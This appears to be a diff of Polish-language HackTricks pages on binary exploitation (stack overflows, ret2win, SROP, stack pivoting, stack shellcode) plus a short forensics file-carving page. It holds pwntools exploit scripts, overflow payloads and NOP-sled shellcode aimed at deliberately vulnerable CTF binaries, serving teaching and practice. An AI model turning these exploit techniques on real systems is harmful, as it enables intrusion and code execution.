- 64 bity, brak relro, brak canary, nx, brak pie. Prosty przepełnienie bufora wykorzystujące funkcję `gets` z brakiem gadżetów, które wykonują [**ret2syscall**](../rop-syscall-execv/index.html). Łańcuch ROP zapisuje `/bin/sh` w `.bss` wywołując ponownie gets, wykorzystuje funkcję **`alarm`** do ustawienia eax na `0xf`, aby wywołać **SROP** i uruchomić powłokę.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- Program assembly 64 bity, brak relro, brak canary, nx, brak pie. Przepływ pozwala na zapis do stosu, kontrolowanie kilku rejestrów i wywołanie syscall, a następnie wywołuje `exit`. Wybrany syscall to `sigreturn`, który ustawi rejestry i przeniesie `eip`, aby wywołać poprzednią instrukcję syscall i uruchomić `memprotect`, aby ustawić przestrzeń binarną na `rwx` i ustawić ESP w przestrzeni binarnej. Kontynuując przepływ, program ponownie wywoła read do ESP, ale w tym przypadku ESP będzie wskazywał na następną instrukcję, więc przekazanie shellcode'u zapisze go jako następną instrukcję i wykona go.
- Program w asemblerze 64 bity, brak relro, brak canary, nx, brak pie. Przepływ pozwala na zapis na stosie, kontrolowanie kilku rejestrów i wywołanie syscall, a następnie wywołuje `exit`. Wybrany syscall to `sigreturn`, który ustawi rejestry i przeniesie `eip`, aby wywołać poprzednią instrukcję syscall i uruchomić `memprotect`, aby ustawić przestrzeń binarną na `rwx` i ustawić ESP w przestrzeni binarnej. Kontynuując przepływ, program ponownie wywoła read do ESP, ale w tym przypadku ESP będzie wskazywał na następną instrukcję, więc przekazanie shellcode'a zapisze go jako następną instrukcję i wykona go.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP jest używane do nadania uprawnień do wykonania (memprotect) w miejscu, gdzie umieszczono shellcode.
- SROP jest używane do nadania uprawnień wykonawczych (memprotect) miejscu, w którym umieszczono shellcode.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Czym jest Stack Overflow
## Co to jest Stack Overflow
**Stack overflow** to luka, która występuje, gdy program zapisuje więcej danych na stosie, niż jest w stanie pomieścić. Te nadmiarowe dane **nadpiszą sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia ważnych danych, zakłócenia przepływu sterowania i potencjalnie do wykonania złośliwego kodu. Problem ten często pojawia się z powodu użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic na wejściu.
**Stack overflow** to luka, która występuje, gdy program zapisuje więcej danych na stosie, niż jest przydzielone do przechowywania. Te nadmiarowe dane **nadpiszą sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia ważnych danych, zakłócenia przepływu sterowania i potencjalnie do wykonania złośliwego kodu. Problem ten często pojawia się z powodu użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic na wejściu.
Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie je nadpisać i **kontrolować przepływ wykonania programu**.
Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie nadpisać je i **kontrolować przepływ wykonania programu**.
Luka ta zazwyczaj pojawia się, ponieważ funkcja **kopiuje na stos więcej bajtów niż ilość przydzielona dla niej**, co pozwala na nadpisanie innych części stosu.
Luka ta zazwyczaj występuje, ponieważ funkcja **kopiuje na stos więcej bajtów niż przydzielona ilość**, co pozwala na nadpisanie innych części stosu.
Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują **argument długości**, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona.
Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` i `memcpy`**, które przyjmują **argument długości**, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona.
Na przykład, następujące funkcje mogą być podatne:
```c
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Znajdowanie przesunięć Stack Overflow
### Znajdowanie przesunięć przepełnienia stosu
Najczęstszym sposobem na znalezienie przesunięć stack overflow jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**.
Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**.
Ponadto, gdy już znajdziesz, że istnieje luka w Stack Overflow, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**, do tego zazwyczaj używa się **sekwencji De Bruijn.** Która dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości \_n**\_\*\* występuje dokładnie raz\*\* jako ciągła podsekwencja.
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**. W tym celu zazwyczaj używa się **sekwencji De Brujna**. Która dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości \_n**\_\*\* występuje dokładnie raz\*\* jako sąsiadująca podsekwencja.
W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisanie.
W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisanie.
Można użyć **pwntools** do tego:
```python
@ -57,13 +57,13 @@ Jednak w innych scenariuszach może wystarczyć tylko **nadpisanie niektórych w
### Ret2win
W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) będzie wyłączony), aby po powrocie z funkcji podatnej, ukryta funkcja została wywołana:
W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączony), aby po powrocie z podatnej funkcji, ukryta funkcja została wywołana:
{{#ref}}
ret2win/
{{#endref}}
### Shellcode na stosie
### Shellcode w stosie
W tym scenariuszu atakujący mógłby umieścić shellcode w stosie i nadużyć kontrolowanego EIP/RIP, aby skoczyć do shellcode i wykonać dowolny kod:
@ -73,7 +73,7 @@ stack-shellcode/
### Techniki ROP i Ret2...
Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu (NX)**. Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym:
Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu (NX)**. Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które kończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym:
{{#ref}}
../rop-return-oriented-programing/
@ -89,7 +89,7 @@ Przepełnienie nie zawsze będzie miało miejsce w stosie, może również wyst
## Rodzaje ochrony
Istnieje kilka ochron próbujących zapobiec wykorzystaniu podatności, sprawdź je w:
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w:
{{#ref}}
../common-binary-protections-and-bypasses/

View File

@ -4,7 +4,7 @@
## Podstawowe informacje
**Ret2win** to popularna kategoria wyzwań w zawodach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **binary exploitation**. Celem jest wykorzystanie luki w danym binarnym pliku, aby wykonać określoną, niewywołaną funkcję w tym pliku, często nazwaną coś w stylu `win`, `flag` itp. Ta funkcja, po wykonaniu, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby przekierować przepływ wykonania do pożądanej funkcji. Oto bardziej szczegółowe wyjaśnienie z przykładami:
**Ret2win** to popularna kategoria w zawodach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **binary exploitation**. Celem jest wykorzystanie luki w danym binarnym pliku, aby wykonać określoną, niewywołaną funkcję w tym pliku, często nazwaną coś w stylu `win`, `flag` itp. Ta funkcja, po wykonaniu, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby przekierować przepływ wykonania do pożądanej funkcji. Oto bardziej szczegółowe wyjaśnienie z przykładami:
### Przykład C
@ -37,9 +37,9 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
- `-no-pie`: Wyłącz Position Independent Executable, aby upewnić się, że adres funkcji `win` się nie zmienia.
- `-o vulnerable`: Nazwij plik wyjściowy `vulnerable`.
### Python Exploit używając Pwntools
### Python Exploit using Pwntools
Do exploitacji użyjemy **pwntools**, potężnego frameworka CTF do pisania exploitów. Skrypt exploitowy stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`.
Dla exploita użyjemy **pwntools**, potężnego frameworka CTF do pisania exploitów. Skrypt exploita stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`.
```python
from pwn import *
@ -59,18 +59,18 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia, które pozwala na inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć:
Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia, które pozwala na inspekcję plików binarnych. Na przykład, z `objdump`, możesz użyć:
```sh
objdump -d vulnerable | grep win
```
To polecenie pokaże Ci kod asemblera funkcji `win`, w tym jej adres początkowy.&#x20;
To polecenie pokaże Ci asembler funkcji `win`, w tym jej adres początkowy.&#x20;
Skrypt Pythona wysyła starannie skonstruowaną wiadomość, która, gdy jest przetwarzana przez `vulnerable_function`, przepełnia bufor i nadpisuje adres powrotu na stosie adresem `win`. Gdy `vulnerable_function` zwraca, zamiast wracać do `main` lub kończyć, skacze do `win`, a wiadomość jest drukowana.
## Ochrony
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, pod którym funkcja będzie przechowywana, nie zawsze będzie taki sam i będziesz potrzebować jakiegoś wycieku, aby ustalić, gdzie załadowana jest funkcja win. W niektórych przypadkach, gdy funkcja, która powoduje przepełnienie, to `read` lub podobna, możesz wykonać **Częściowe Nadpisanie** 1 lub 2 bajtów, aby zmienić adres powrotu na funkcję win. Z powodu działania ASLR, ostatnie trzy heksadecymalne nibble nie są losowe, więc istnieje **1/16 szansy** (1 nibble), aby uzyskać poprawny adres powrotu.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) powinny być również wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie będzie śledzony.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, pod którym funkcja będzie przechowywana, nie zawsze będzie taki sam i będziesz potrzebować jakiegoś wycieku, aby dowiedzieć się, gdzie załadowana jest funkcja win. W niektórych przypadkach, gdy funkcją powodującą przepełnienie jest `read` lub podobna, możesz wykonać **Częściowe Nadpisanie** 1 lub 2 bajtów, aby zmienić adres powrotu na funkcję win. Z powodu działania ASLR, ostatnie trzy heksadecymalne nibble nie są losowe, więc istnieje **1/16 szansy** (1 nibble), aby uzyskać poprawny adres powrotu.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie będzie śledzony.
## Inne przykłady i odniesienia
@ -82,7 +82,7 @@ Skrypt Pythona wysyła starannie skonstruowaną wiadomość, która, gdy jest pr
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bity, bez ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bity, bez ASLR, podwójne małe przepełnienie, pierwsze przepełnia stos i zwiększa rozmiar drugiego przepełnienia
- 32 bity, bez ASLR, podwójne małe przepełnienie, pierwsze przepełnienie stosu i powiększenie rozmiaru drugiego przepełnienia
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bity, relro, bez canary, nx, bez pie, format string do nadpisania adresu `fflush` funkcją win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
@ -90,9 +90,9 @@ Skrypt Pythona wysyła starannie skonstruowaną wiadomość, która, gdy jest pr
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1Byte) do wywołania funkcji win
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Program tylko waliduje ostatni bajt liczby, aby sprawdzić rozmiar wejścia, dlatego możliwe jest dodanie dowolnej wielkości, o ile ostatni bajt mieści się w dozwolonym zakresie. Następnie wejście tworzy przepełnienie bufora wykorzystane z ret2win.
- Program tylko waliduje ostatni bajt liczby, aby sprawdzić rozmiar wejścia, dlatego możliwe jest dodanie dowolnego rozmiaru, o ile ostatni bajt mieści się w dozwolonym zakresie. Następnie wejście tworzy przepełnienie bufora wykorzystane z ret2win.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bity, relro, bez canary, nx, pie. Częściowe nadpisanie do wywołania funkcji win (ret2win)
- 64 bity, relro, bez canary, nx, pie. Częściowe nadpisanie, aby wywołać funkcję win (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, daje wyciek PIE, funkcja win to tak naprawdę 2 funkcje, więc gadżet ROP, który wywołuje 2 funkcje
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)

View File

@ -4,7 +4,7 @@
## Podstawowe informacje
Ta technika wykorzystuje zdolność do manipulacji **wskaźnikiem bazowym (EBP)** w celu połączenia wykonania wielu funkcji poprzez staranne użycie rejestru EBP oraz sekwencji instrukcji **`leave; ret`**.
Ta technika wykorzystuje zdolność do manipulacji **wskaźnikiem bazowym (EBP)** w celu łączenia wykonania wielu funkcji poprzez staranne użycie rejestru EBP oraz sekwencji instrukcji **`leave; ret`**.
Przypominając, **`leave`** zasadniczo oznacza:
```
@ -18,32 +18,32 @@ I jako że **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontrol
Ta technika jest szczególnie przydatna, gdy możesz **zmienić rejestr EBP, ale nie masz bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stos, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja `pop` zmniejsza ESP o 4, **efektywnie wskazując na adres przechowywany przez atakującego.**\
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stos, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty, aby uwzględnić operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja `pop` zmniejsza ESP o 4, **efektywnie wskazując na adres przechowywany przez atakującego.**\
Zauważ, że **musisz znać 2 adresy**: Ten, na który ESP ma wskoczyć, gdzie będziesz musiał zapisać adres, na który wskazuje ESP.
#### Budowa Exploita
Najpierw musisz znać **adres, w którym możesz zapisać dowolne dane/adresy**. ESP będzie wskazywać tutaj i **wykona pierwszy `ret`**.
Najpierw musisz znać **adres, w którym możesz zapisać dowolne dane/adresy**. ESP będzie wskazywać tutaj i **wykona pierwsze `ret`**.
Następnie musisz znać adres używany przez `ret`, który **wykona dowolny kod**. Możesz użyć:
- Ważnego [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
- Adresu **`system()`**, po którym następują **4 bajty śmieci** i adres `"/bin/sh"` (x86 bits).
- Adresu gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)), po którym następuje **shellcode** do wykonania.
- Jakiegoś łańcucha [**ROP**](../rop-return-oriented-programing/)
- Jakiegoś łańcucha [**ROP**](../rop-return-oriented-programing/index.html)
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Możliwe byłoby wykorzystanie tych 4B do ustawienia **drugiego fałszywego EBP** i kontynuowania kontrolowania wykonania.
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Możliwe byłoby wykorzystanie tych 4B do ustawienia **drugiego fałszywego EBP** i kontynuowania kontroli nad wykonaniem.
#### Exploit Off-By-One
Istnieje specyficzna odmiana tej techniki znana jako "Off-By-One Exploit". Jest używana, gdy możesz **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z **`ret`**, musi dzielić pierwsze trzy bajty z EBP, co pozwala na podobną manipulację w bardziej ograniczonych warunkach.\
Zazwyczaj modyfikowany jest bajt 0x00, aby skoczyć tak daleko, jak to możliwe.
Istnieje specyficzna wariant tej techniki znana jako "Off-By-One Exploit". Jest używana, gdy możesz **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z **`ret`**, musi dzielić pierwsze trzy bajty z EBP, co pozwala na podobną manipulację w bardziej ograniczonych warunkach.\
Zazwyczaj modyfikowany jest bajt 0x00, aby skoczyć jak najdalej.
Ponadto, powszechne jest używanie RET sled w stosie i umieszczanie prawdziwego łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskazuje wewnątrz RET SLED, a końcowy łańcuch ROP jest wykonywany.
### **Łańcuchowanie EBP**
Dlatego umieszczając kontrolowany adres w wpisie `EBP` stosu i adres do `leave; ret` w `EIP`, możliwe jest **przesunięcie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
Dlatego umieszczając kontrolowany adres w wpisie `EBP` stosu i adres do `leave; ret` w `EIP`, możliwe jest **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
Teraz **`ESP`** jest kontrolowane, wskazując na pożądany adres, a następna instrukcja do wykonania to `RET`. Aby to wykorzystać, można umieścić w kontrolowanym miejscu ESP to:
@ -54,9 +54,9 @@ Teraz **`ESP`** jest kontrolowane, wskazując na pożądany adres, a następna i
W zasadzie w ten sposób można łączyć kilka fałszywych EBP, aby kontrolować przepływ programu.
To jest jak [ret2lib](../rop-return-oriented-programing/ret2lib/), ale bardziej skomplikowane, bez oczywistych korzyści, ale może być interesujące w niektórych skrajnych przypadkach.
To jest jak [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ale bardziej skomplikowane, bez oczywistych korzyści, ale może być interesujące w niektórych przypadkach brzegowych.
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony:
Ponadto, oto [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony:
```python
from pwn import *
@ -123,7 +123,7 @@ ret # return
### **`pop rsp`** gadget
[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **gadget `pop rsp`** i był **leak ze stosu**:
[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **`pop rsp` gadget** i występował **leak ze stosu**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -188,13 +188,13 @@ Sprawdź technikę ret2esp tutaj:
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bity, exploatacja off by one z łańcuchem rop zaczynającym się od ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bity, brak relro, canary, nx i pie. Program umożliwia leak dla stosu lub pie i WWW dla qword. Najpierw uzyskaj leak stosu i użyj WWW, aby wrócić i uzyskać leak pie. Następnie użyj WWW, aby stworzyć wieczną pętlę, nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Nadużywając tego "wiecznego" zapisu, zapisuje się łańcuch ROP w .bss i kończy wywołując go, pivotując z RBP.
- 64 bity, brak relro, canary, nx i pie. Program umożliwia wyciek dla stosu lub pie i WWW dla qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby stworzyć wieczną pętlę, nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Nadużywając tego "wiecznego" zapisu, zapisuje się łańcuch ROP w .bss i kończy wywołując go, pivotując z RBP.
## ARM64
W ARM64, **prolog i epilog** funkcji **nie przechowują ani nie odzyskują rejestru SP** w stosie. Co więcej, instrukcja **`RET`** nie zwraca do adresu wskazywanego przez SP, ale **do adresu wewnątrz `x30`**.
W ARM64, **prologi i epilogi** funkcji **nie przechowują i nie odzyskują rejestru SP** w stosie. Co więcej, instrukcja **`RET`** nie zwraca do adresu wskazywanego przez SP, ale **do adresu wewnątrz `x30`**.
Dlatego, domyślnie, nadużywając epilogu, **nie będziesz w stanie kontrolować rejestru SP** przez nadpisanie danych w stosie. A nawet jeśli uda ci się kontrolować SP, nadal będziesz potrzebować sposobu na **kontrolowanie rejestru `x30`**.
Dlatego, domyślnie, nadużywając epilogu, **nie będziesz w stanie kontrolować rejestru SP** przez nadpisanie danych wewnątrz stosu. A nawet jeśli uda ci się kontrolować SP, nadal potrzebujesz sposobu na **kontrolowanie rejestru `x30`**.
- prolog
@ -213,7 +213,7 @@ ret
```
> [!OSTRZEŻENIE]
> Sposobem na wykonanie czegoś podobnego do pivotowania stosu w ARM64 byłoby być w stanie **kontrolować `SP`** (poprzez kontrolowanie jakiegoś rejestru, którego wartość jest przekazywana do `SP` lub z jakiegoś powodu `SP` bierze swój adres ze stosu i mamy overflow) i następnie **nadużyć epilogu**, aby załadować rejestr **`x30`** z **kontrolowanego `SP`** i **`RET`** do niego.
> Sposobem na wykonanie czegoś podobnego do pivotowania stosu w ARM64 byłoby być w stanie **kontrolować `SP`** (poprzez kontrolowanie jakiegoś rejestru, którego wartość jest przekazywana do `SP` lub ponieważ z jakiegoś powodu `SP` bierze swój adres ze stosu i mamy przepełnienie) i następnie **nadużyć epilogu**, aby załadować rejestr **`x30`** z **kontrolowanego `SP`** i **`RET`** do niego.
Również na następnej stronie możesz zobaczyć odpowiednik **Ret2esp w ARM64**:

View File

@ -33,7 +33,7 @@ Aby skompilować ten program, wyłączając różne zabezpieczenia (aby zasymulo
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Wyłącza ochronę stosu.
- `-z execstack`: Umożliwia wykonanie stosu, co jest konieczne do uruchomienia shellcode przechowywanego na stosie.
- `-z execstack`: Umożliwia wykonanie kodu na stosie, co jest konieczne do uruchomienia shellcode przechowywanego na stosie.
- `-no-pie`: Wyłącza Position Independent Executable, co ułatwia przewidywanie adresu pamięci, w którym będzie znajdować się nasz shellcode.
- `-m32`: Kompiluje program jako 32-bitowy plik wykonywalny, często używany dla uproszczenia w rozwoju exploitów.
@ -68,12 +68,12 @@ p.interactive()
```
Ten skrypt konstruuje ładunek składający się z **NOP slide**, **shellcode** i następnie nadpisuje **EIP** adresem wskazującym na NOP slide, zapewniając, że shellcode zostanie wykonany.
**NOP slide** (`asm('nop')`) jest używany, aby zwiększyć szansę, że wykonanie "zsunie się" do naszego shellcode niezależnie od dokładnego adresu. Dostosuj argument `p32()` do początkowego adresu twojego bufora plus offset, aby trafić w NOP slide.
**NOP slide** (`asm('nop')`) jest używany do zwiększenia szansy, że wykonanie "zsunie się" do naszego shellcode niezależnie od dokładnego adresu. Dostosuj argument `p32()` do początkowego adresu twojego bufora plus offset, aby trafić w NOP slide.
## Ochrony
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie zawsze będzie taki sam i będziesz potrzebować jakiegoś wycieku, aby dowiedzieć się, gdzie załadowana jest funkcja win.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) również powinny być wyłączone, w przeciwnym razie skompromitowany adres zwrotny EIP nigdy nie będzie śledzony.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie będzie zawsze taki sam i będziesz potrzebować jakiegoś wycieku, aby dowiedzieć się, gdzie załadowana jest funkcja win.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) również powinny być wyłączone, w przeciwnym razie skompromitowany adres zwrotny EIP nigdy nie będzie śledzony.
- Ochrona **NX** (no-execute) [**stack**](../../common-binary-protections-and-bypasses/no-exec-nx.md) uniemożliwi wykonanie shellcode wewnątrz stosu, ponieważ ten obszar nie będzie wykonywalny.
## Inne przykłady i odniesienia

View File

@ -12,7 +12,7 @@ Najczęściej używane narzędzie w forensyce do ekstrakcji plików z obrazów t
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** to narzędzie do analizy plików binarnych w celu znalezienia osadzonych treści. Można je zainstalować za pomocą `apt`, a jego źródło znajduje się na [GitHub](https://github.com/ReFirmLabs/binwalk).
**Binwalk** to narzędzie do analizy plików binarnych w celu znalezienia osadzonej zawartości. Można je zainstalować za pomocą `apt`, a jego źródło znajduje się na [GitHub](https://github.com/ReFirmLabs/binwalk).
**Przydatne polecenia**:
```bash
@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Innym powszechnym narzędziem do znajdowania ukrytych plików jest **foremost**. Możesz znaleźć plik konfiguracyjny foremost w `/etc/foremost.conf`. Jeśli chcesz wyszukać tylko niektóre konkretne pliki, odkomentuj je. Jeśli nic nie odkomentujesz, foremost będzie szukać domyślnie skonfigurowanych typów plików.
